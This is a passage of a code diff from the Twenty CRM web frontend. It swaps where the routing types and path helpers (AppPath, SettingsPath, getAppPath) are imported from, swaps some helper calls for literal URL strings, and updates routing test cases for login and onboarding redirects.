{ loc: AppPath.SettingsCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined },
|
||||
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -290,7 +289,7 @@ const testCases: {
|
||||
{ loc: AppPath.DevelopersCatchAll, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined },
|
||||
|
||||
{ loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.Authorize, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -300,7 +299,7 @@ const testCases: {
|
||||
{ loc: AppPath.Authorize, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined },
|
||||
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
@@ -310,7 +309,7 @@ const testCases: {
|
||||
{ loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined },
|
||||
|
||||
{ loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired },
|
||||
{ loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) },
|
||||
{ loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' },
|
||||
{ loc: AppPath.NotFound, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp },
|
||||
{ loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace },
|
||||
{ loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile },
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { type AppPath } from '@/types/AppPath';
|
||||
import { useNavigate } from 'react-router-dom';
|
||||
import { type AppPath } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
export const useNavigateApp = () => {
|
||||
const navigate = useNavigate();
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { type SettingsPath } from '@/types/SettingsPath';
|
||||
import { useNavigate } from 'react-router-dom';
|
||||
import { type SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const useNavigateSettings = () => {
|
||||
const navigate = useNavigate();
|
||||
|
||||
@@ -4,10 +4,11 @@ import { useIsCurrentLocationOnAWorkspace } from '@/domain-manager/hooks/useIsCu
|
||||
import { useDefaultHomePagePath } from '@/navigation/hooks/useDefaultHomePagePath';
|
||||
import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState';
|
||||
import { useOnboardingStatus } from '@/onboarding/hooks/useOnboardingStatus';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useIsWorkspaceActivationStatusEqualsTo } from '@/workspace/hooks/useIsWorkspaceActivationStatusEqualsTo';
|
||||
import { useLocation, useParams } from 'react-router-dom';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath, SettingsPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { WorkspaceActivationStatus } from 'twenty-shared/workspace';
|
||||
import { OnboardingStatus } from '~/generated/graphql';
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import { ActionDisplay } from '@/action-menu/actions/display/components/ActionDisplay';
|
||||
import { useCloseActionMenu } from '@/action-menu/hooks/useCloseActionMenu';
|
||||
import { type AppPath } from '@/types/AppPath';
|
||||
import { type PathParam } from 'react-router-dom';
|
||||
import { type AppPath } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
export const ActionLink = <T extends AppPath>({
|
||||
to,
|
||||
|
||||
+2
-1
@@ -29,10 +29,11 @@ import { CommandMenuPages } from '@/command-menu/types/CommandMenuPages';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { BACKEND_BATCH_REQUEST_MAX_COUNT } from '@/object-record/constants/BackendBatchRequestMaxCount';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { msg } from '@lingui/core/macro';
|
||||
import { isNonEmptyString } from '@sniptt/guards';
|
||||
import { MUTATION_MAX_MERGE_RECORDS } from 'twenty-shared/constants';
|
||||
import { AppPath, SettingsPath } from 'twenty-shared/types';
|
||||
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
|
||||
+1
-1
@@ -16,13 +16,13 @@ import { ActionScope } from '@/action-menu/actions/types/ActionScope';
|
||||
import { ActionType } from '@/action-menu/actions/types/ActionType';
|
||||
import { ActionViewType } from '@/action-menu/actions/types/ActionViewType';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import {
|
||||
type WorkflowStep,
|
||||
type WorkflowTrigger,
|
||||
type WorkflowWithCurrentVersion,
|
||||
} from '@/workflow/types/Workflow';
|
||||
import { msg } from '@lingui/core/macro';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
IconHistoryToggle,
|
||||
|
||||
+1
-1
@@ -13,8 +13,8 @@ import { ActionScope } from '@/action-menu/actions/types/ActionScope';
|
||||
import { ActionType } from '@/action-menu/actions/types/ActionType';
|
||||
import { ActionViewType } from '@/action-menu/actions/types/ActionViewType';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { msg } from '@lingui/core/macro';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
IconHistoryToggle,
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions
|
||||
import { useDestroyOneRecord } from '@/object-record/hooks/useDestroyOneRecord';
|
||||
import { useRecordIndexIdFromCurrentContextStore } from '@/object-record/record-index/hooks/useRecordIndexIdFromCurrentContextStore';
|
||||
import { useResetTableRowSelection } from '@/object-record/record-table/hooks/internal/useResetTableRowSelection';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
export const DestroySingleRecordAction = () => {
|
||||
|
||||
+1
-1
@@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { ActionDisplay } from '@/action-menu/actions/display/components/ActionDisplay';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useActiveWorkflowVersion } from '@/workflow/hooks/useActiveWorkflowVersion';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
|
||||
export const SeeActiveVersionWorkflowSingleRecordAction = () => {
|
||||
const recordId = useSelectedRecordIdOrThrow();
|
||||
|
||||
+2
-1
@@ -1,8 +1,9 @@
|
||||
import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion';
|
||||
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { ViewFilterOperand } from 'twenty-shared/types';
|
||||
|
||||
export const SeeRunsWorkflowSingleRecordAction = () => {
|
||||
const recordId = useSelectedRecordIdOrThrow();
|
||||
|
||||
+2
-1
@@ -1,8 +1,9 @@
|
||||
import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion';
|
||||
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { ViewFilterOperand } from 'twenty-shared/types';
|
||||
|
||||
export const SeeVersionsWorkflowSingleRecordAction = () => {
|
||||
const recordId = useSelectedRecordIdOrThrow();
|
||||
|
||||
+1
-1
@@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
|
||||
export const SeeVersionWorkflowRunSingleRecordAction = () => {
|
||||
|
||||
+1
-1
@@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
|
||||
export const SeeWorkflowWorkflowRunSingleRecordAction = () => {
|
||||
|
||||
+2
-1
@@ -2,9 +2,10 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { ViewFilterOperand } from 'twenty-shared/types';
|
||||
|
||||
export const SeeRunsWorkflowVersionSingleRecordAction = () => {
|
||||
const recordId = useSelectedRecordIdOrThrow();
|
||||
|
||||
+2
-1
@@ -2,9 +2,10 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { ViewFilterOperand } from 'twenty-shared/types';
|
||||
|
||||
export const SeeVersionsWorkflowVersionSingleRecordAction = () => {
|
||||
const recordId = useSelectedRecordIdOrThrow();
|
||||
|
||||
+1
-1
@@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
|
||||
export const SeeWorkflowWorkflowVersionSingleRecordAction = () => {
|
||||
const recordId = useSelectedRecordIdOrThrow();
|
||||
|
||||
+1
-1
@@ -1,6 +1,7 @@
|
||||
import { Action } from '@/action-menu/actions/components/Action';
|
||||
import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useModal } from '@/ui/layout/modal/hooks/useModal';
|
||||
import { OverrideWorkflowDraftConfirmationModal } from '@/workflow/components/OverrideWorkflowDraftConfirmationModal';
|
||||
import { OVERRIDE_WORKFLOW_DRAFT_CONFIRMATION_MODAL_ID } from '@/workflow/constants/OverrideWorkflowDraftConfirmationModalId';
|
||||
@@ -8,7 +9,6 @@ import { useCreateDraftFromWorkflowVersion } from '@/workflow/hooks/useCreateDra
|
||||
import { useWorkflowVersion } from '@/workflow/hooks/useWorkflowVersion';
|
||||
import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion';
|
||||
import { useState } from 'react';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
|
||||
+1
-1
@@ -8,6 +8,7 @@ import { contextStoreRecordShowParentViewComponentState } from '@/context-store/
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState';
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown';
|
||||
import { getShowPageTabListComponentId } from '@/ui/layout/show-page/utils/getShowPageTabListComponentId';
|
||||
import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState';
|
||||
@@ -18,7 +19,6 @@ import { useRecoilComponentCallbackState } from '@/ui/utilities/state/component-
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { useSetRecoilComponentState } from '@/ui/utilities/state/component-state/hooks/useSetRecoilComponentState';
|
||||
import { useRecoilCallback, useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { IconBrowserMaximize } from 'twenty-ui/display';
|
||||
import { Button } from 'twenty-ui/input';
|
||||
|
||||
@@ -8,8 +8,8 @@ import { ActionType } from '@/action-menu/actions/types/ActionType';
|
||||
import { ActionViewType } from '@/action-menu/actions/types/ActionViewType';
|
||||
import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { msg } from '@lingui/core/macro';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import {
|
||||
IconFileExport,
|
||||
IconHeart,
|
||||
|
||||
@@ -14,8 +14,8 @@ import { isMatchingLocation } from '~/utils/isMatchingLocation';
|
||||
|
||||
import { currentUserWorkspaceState } from '@/auth/states/currentUserWorkspaceState';
|
||||
import { appVersionState } from '@/client-config/states/appVersionState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { ApolloFactory, type Options } from '../services/apollo.factory';
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import { Route, Routes } from 'react-router-dom';
|
||||
|
||||
import { SettingsProtectedRouteWrapper } from '@/settings/components/SettingsProtectedRouteWrapper';
|
||||
import { SettingsSkeletonLoader } from '@/settings/components/SettingsSkeletonLoader';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { PermissionFlagType } from '~/generated/graphql';
|
||||
|
||||
const SettingsGraphQLPlayground = lazy(() =>
|
||||
|
||||
+2
-6
@@ -4,8 +4,6 @@ import { isNavigationDrawerExpandedState } from '@/ui/navigation/states/isNaviga
|
||||
import { navigationDrawerExpandedMemorizedState } from '@/ui/navigation/states/navigationDrawerExpandedMemorizedState';
|
||||
import { useGoToHotkeys } from '@/ui/utilities/hotkey/hooks/useGoToHotkeys';
|
||||
import { useRecoilCallback } from 'recoil';
|
||||
import { AppPath, SettingsPath } from 'twenty-shared/types';
|
||||
import { getAppPath, getSettingsPath } from 'twenty-shared/utils';
|
||||
|
||||
export const GotoHotkeysEffectsProvider = () => {
|
||||
const { activeNonSystemObjectMetadataItems } =
|
||||
@@ -13,7 +11,7 @@ export const GotoHotkeysEffectsProvider = () => {
|
||||
|
||||
useGoToHotkeys({
|
||||
key: 's',
|
||||
location: getSettingsPath(SettingsPath.ProfilePage),
|
||||
location: '/settings/profile',
|
||||
preNavigateFunction: useRecoilCallback(
|
||||
({ set }) =>
|
||||
() => {
|
||||
@@ -33,9 +31,7 @@ export const GotoHotkeysEffectsProvider = () => {
|
||||
<GoToHotkeyItemEffect
|
||||
key={`go-to-hokey-item-${objectMetadataItem.id}`}
|
||||
hotkey={objectMetadataItem.shortcut}
|
||||
pathToNavigateTo={getAppPath(AppPath.RecordIndexPage, {
|
||||
objectNamePlural: objectMetadataItem.namePlural,
|
||||
})}
|
||||
pathToNavigateTo={`/objects/${objectMetadataItem.namePlural}`}
|
||||
/>
|
||||
);
|
||||
});
|
||||
|
||||
@@ -29,11 +29,12 @@ import { useResetTableRowSelection } from '@/object-record/record-table/hooks/in
|
||||
import { useActiveRecordTableRow } from '@/object-record/record-table/hooks/useActiveRecordTableRow';
|
||||
import { useFocusedRecordTableRow } from '@/object-record/record-table/hooks/useFocusedRecordTableRow';
|
||||
import { getRecordIndexIdFromObjectNamePluralAndViewId } from '@/object-record/utils/getRecordIndexIdFromObjectNamePluralAndViewId';
|
||||
import { AppBasePath } from '@/types/AppBasePath';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { PageFocusId } from '@/types/PageFocusId';
|
||||
import { useResetFocusStackToFocusItem } from '@/ui/utilities/focus/hooks/useResetFocusStackToFocusItem';
|
||||
import { FocusComponentType } from '@/ui/utilities/focus/types/FocusComponentType';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { AppBasePath, AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { AnalyticsType } from '~/generated/graphql';
|
||||
import { usePageChangeEffectNavigateLocation } from '~/hooks/usePageChangeEffectNavigateLocation';
|
||||
|
||||
@@ -4,9 +4,9 @@ import { VerifyLoginTokenEffect } from '@/auth/components/VerifyLoginTokenEffect
|
||||
|
||||
import { VerifyEmailEffect } from '@/auth/components/VerifyEmailEffect';
|
||||
import indexAppPath from '@/navigation/utils/indexAppPath';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { BlankLayout } from '@/ui/layout/page/components/BlankLayout';
|
||||
import { DefaultLayout } from '@/ui/layout/page/components/DefaultLayout';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
|
||||
import {
|
||||
createBrowserRouter,
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
import styled from '@emotion/styled';
|
||||
import { isNonEmptyString } from '@sniptt/guards';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { getImageAbsoluteURI, isDefined } from 'twenty-shared/utils';
|
||||
import { Avatar } from 'twenty-ui/display';
|
||||
import { UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { REACT_APP_SERVER_BASE_URL } from '~/config';
|
||||
import { useRedirectToDefaultDomain } from '~/modules/domain-manager/hooks/useRedirectToDefaultDomain';
|
||||
import { AppPath } from '~/modules/types/AppPath';
|
||||
|
||||
type LogoProps = {
|
||||
primaryLogo?: string | null;
|
||||
|
||||
+1
-1
@@ -2,11 +2,11 @@ import { loginTokenState } from '@/auth/states/loginTokenState';
|
||||
import { qrCodeState } from '@/auth/states/qrCode';
|
||||
import { useOrigin } from '@/domain-manager/hooks/useOrigin';
|
||||
import { useCurrentUserWorkspaceTwoFactorAuthentication } from '@/settings/two-factor-authentication/hooks/useCurrentUserWorkspaceTwoFactorAuthentication';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useEffect } from 'react';
|
||||
import { useRecoilValue, useSetRecoilState } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useAuth } from '@/auth/hooks/useAuth';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { ApolloError } from '@apollo/client';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
|
||||
import { verifyEmailRedirectPathState } from '@/app/states/verifyEmailRedirectPathState';
|
||||
import { useVerifyLogin } from '@/auth/hooks/useVerifyLogin';
|
||||
|
||||
@@ -4,8 +4,8 @@ import { useSearchParams } from 'react-router-dom';
|
||||
import { useIsLogged } from '@/auth/hooks/useIsLogged';
|
||||
import { useVerifyLogin } from '@/auth/hooks/useVerifyLogin';
|
||||
import { clientConfigApiStatusState } from '@/client-config/states/clientConfigApiStatusState';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import {
|
||||
type ModalSize,
|
||||
type ModalVariants,
|
||||
} from '@/ui/layout/modal/components/Modal';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
|
||||
type AuthModalConfigType = {
|
||||
size: ModalSize;
|
||||
|
||||
@@ -3,8 +3,8 @@ import { I18nProvider } from '@lingui/react';
|
||||
import { renderHook } from '@testing-library/react';
|
||||
import { RecoilRoot } from 'recoil';
|
||||
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
import { useAuth } from '../useAuth';
|
||||
import { useVerifyLogin } from '../useVerifyLogin';
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { ApolloError, useApolloClient } from '@apollo/client';
|
||||
import { useCallback } from 'react';
|
||||
import {
|
||||
@@ -7,7 +8,6 @@ import {
|
||||
useRecoilValue,
|
||||
useSetRecoilState,
|
||||
} from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
|
||||
import { billingState } from '@/client-config/states/billingState';
|
||||
import { clientConfigApiStatusState } from '@/client-config/states/clientConfigApiStatusState';
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useAuth } from '@/auth/hooks/useAuth';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
export const useVerifyLogin = () => {
|
||||
|
||||
+1
-1
@@ -12,13 +12,13 @@ import {
|
||||
signInUpStepState,
|
||||
} from '@/auth/states/signInUpStepState';
|
||||
import { useReadCaptchaToken } from '@/captcha/hooks/useReadCaptchaToken';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { Trans, useLingui } from '@lingui/react/macro';
|
||||
import { OTPInput, type SlotProps } from 'input-otp';
|
||||
import { useState } from 'react';
|
||||
import { Controller } from 'react-hook-form';
|
||||
import { useRecoilValue, useSetRecoilState } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { MainButton } from 'twenty-ui/input';
|
||||
import { ClickToActionLink } from 'twenty-ui/navigation';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
@@ -12,10 +12,10 @@ import { SignInUpMode } from '@/auth/types/signInUpMode';
|
||||
import { useReadCaptchaToken } from '@/captcha/hooks/useReadCaptchaToken';
|
||||
import { useBuildSearchParamsFromUrlSyncedStates } from '@/domain-manager/hooks/useBuildSearchParamsFromUrlSyncedStates';
|
||||
import { useIsCurrentLocationOnAWorkspace } from '@/domain-manager/hooks/useIsCurrentLocationOnAWorkspace';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { ApolloError } from '@apollo/client';
|
||||
import { useRecoilState } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
